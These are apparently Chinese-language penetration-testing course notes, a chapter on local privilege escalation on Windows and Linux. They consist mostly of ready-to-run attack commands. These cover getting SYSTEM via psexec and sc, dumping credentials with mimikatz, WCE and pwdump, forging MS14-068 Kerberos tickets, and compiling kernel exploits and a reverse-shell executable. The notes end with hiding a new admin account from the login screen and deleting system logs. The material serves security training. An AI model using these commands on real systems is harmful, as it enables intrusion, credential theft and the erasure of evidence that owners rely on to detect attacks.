第十章 提权
本地提权
• 已实现本地低权限账号登录 • 远程溢出 • 直接获得账号密码 • 希望获取更高权限 • 实现对目标进一步控制 • 系统账号之间权限隔离 • 操作系统安全的基础 • 用户空间 • 内核空间 • 系统账号 • 用户账号登陆时获取权限令牌 • 服务账号无需用户登陆已在后台启动服务
Windows
• user • Administrator • System
Linux
• User • Root
ADMIN提权为SYSTEM
• Windows system账号 • 系统设置管理功能 • SysInternal Suite • https://technet.microsoft.com/en-us/sysinternals/bb545027 • psexec -i -s -d taskmgr • at 19:39 /interactive cmd • sc Create syscmd binPath= "cmd /K start" type= own type= interact • sc start syscmd
服务开机自启动
sc \\IP config tlntsvr start= auto 注意:auto前面有一个空格 启动Telnet服务 sc \\IP start tlntsvr
注入进程提权
• 隐蔽痕迹 • pinjector.exe • http://www.tarasco.org/security/Process_Injector/
抓包嗅探
• Windows
• Wireshark • Omnipeek • commview • Sniffpass
• Linux
• Tcpdump • Wireshark • Dsniff
键盘记录
• Keylogger • 木马窃取
本地缓存密码
• 浏览器缓存的密码 • IE浏览器 • Firefox • 网络密码 • 无线密码 • http://www.nirsoft.net
• Dump SAM
• Pwdump • /usr/share/windows-binaries/fgdump/
WINDOWS身份认证过程
WCE (WINDOWS CREDENTIAL EDITOR)
• /usr/share/wce/ • 需要管理员权限 • wce-universal.exe -l / -lv • wce-universal.exe -d • wce-universal.exe -e / -r • wce-universal.exe -g • wce-universal.exe -w //直接明文显示密码 • LM/NT hash
• 从内存读取LM / NTLM hash
• Digest Authentication Package
• NTLM Security Package
• Kerberos Security Package
其他工具
• pwdump localhost • fgdump • mimikatz • privilege::debug #提升权限 • sekurlsa::logonPasswords • ::
利用漏洞提权
• Ms11-080
• Kb2592799 • https://technet.microsoft.com/library/security/ms11-080 //该站点为Wdindows的MS发布漏洞库 • Pyinstaller //pyinstaller和pywin32是将python程序转换成exe可执行程序的软件 • https://pypi.python.org/pypi/PyInstaller/2.1 • python pyinstaller --onefile ms11-080.py • Pywin32 • http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/ • MS11-046 • DoS
• Ms14-068(Windows7域环境下,普通域用户提升为域管理员用户)
• 库 • https://github.com/bidord/pykek • ms14-068.py -u user@lab.com -s userSID -d dc.lab.com //生成票据文件 • 拷贝 TGT_user1@lab.com.ccache 到windows系统 • 本地管理员登陆 • mimikatz.exe log "kerberos::ptc TGT_user@lab.com.ccache" exit
利用漏洞提权
• Ubuntu11.10 • http://old-releases.ubuntu.com/releases/11.10/ • gcc • sudo apt-cdrom add && sudo apt-get install gcc //有的旧版本的Ubuntu如果无法从网络获取更新源安装gcc,可以通过iso文件的方式更新 • gcc 18411.c -o exp //18411.c为kali里面search出来的一个针对该漏洞的c语言写的程序 • CVE-2012-0056 • /proc/pid/mem • kernels >=2.6.39 • http://blog.zx2c4.com/749 //详解 CVE-2012-0056
利用配置不当提权
• 与漏洞提权相比 更常用的方法 • 企业环境 • 补丁更新的全部已经安装 • 输入变量过滤之外更值得研发关注的安全隐患 • 以system权限启动 • NTFS权限允许users修改删除
利用配置不当提权
Windows查看所有用户权限
• icacls • icacls c:\windows\*.exe /save perm /T // /T参数代表递归查找,不仅仅只查找c:\windows目录 • i586-mingw32msvc-gcc -o admin.exe admin.c //查找之后通过kali执行此命令生成windows上的反弹.exe的可执行shell需要提前安装(apt-get install mingw32 mingw32-binutils mingw32-runtime)
Linux查看根目录下权限为777的文件全部列出来 • Find • find / -perm 777 -exec ls -l {} \;
利用配置不当提权
• 应用系统的配置文件 • 应用连接数据库的配置文件
基本信息收集
• Linux • /etc/resolv.conf • /etc/passwd • /etc/shadow • whoami and who –a • ifconfig -a, iptables -L -n, ifconfig –a, netstat –r • uname –a, ps aux • dpkg -l| head
• Windows • ipconfig /all , ipconfig /displaydns, netstat -bnao , netstat –r • net view , net view /domain • net user /domain, net user %username% /domain • net accounts, net share • net localgroup administrators username /add • net group "Domain Controllers" /domain • net share name$=C:\ /unlimited • net user username /active:yes /domain
WMIC(WINDOWS MANAGEMENT INSTRUMENTATION)
• wmic nicconfig get ipaddress,macaddress //获取本地的网卡的IPV4地址,IPV6地址以及对应的mac地址 • wmic computersystem get username //获取当前登录用户 • wmic netlogin get name,lastlogon //获取最后一次登录用户 • wmic process get caption, executablepath,commandline //获取系统当前执行的进程,以及进程所在的路径和命令行 • wmic process where name=“cmd.exe" call terminate //杀掉 cmd.exe • wmic os get name,servicepackmajorversion //获取当前操作系统的版本 • wmic product get name,version //获取当前系统一些程序的版本,如python,c++,go,VMware,xshell等等 • wmic product where name=“name” call uninstall /nointeractive //卸载某个程序 • wmic share get /ALL //获取共享相关信息 • wmic /node:"machinename" path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1“ //命令行开启远程桌面(Windows10不适用) • wmic nteventlog get path,filename, writeable //查看系统可写的日志文件系统
收集敏感数据
• 商业信息 • 系统信息 • Linux • /etc ;/usr/local/etc • /etc/password ;/etc/shadow • .ssh ;.gnupg 公私钥 • The e-mail and data files • 业务数据库 ;身份认证服务器数据库 • /tmp
• windows
• SAM 数据库 ; 注册表文件
• %SYSTEMROOT%\repair\SAM
• %SYSTEMROOT%\System32\config\RegBack\SAM
• 业务数据库 ; 身份认证数据库
• 临时文件目录
• UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\
隐藏痕迹
• 禁止在登陆界面显示新建账号 • REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList" /v uname /T REG_DWORD /D 0 • del %WINDIR%\*.log /a/s/q/f • History • 日志 • auth.log / secure • btmp / wtmp • lastlog / faillog • 其他日志和 HIDS 等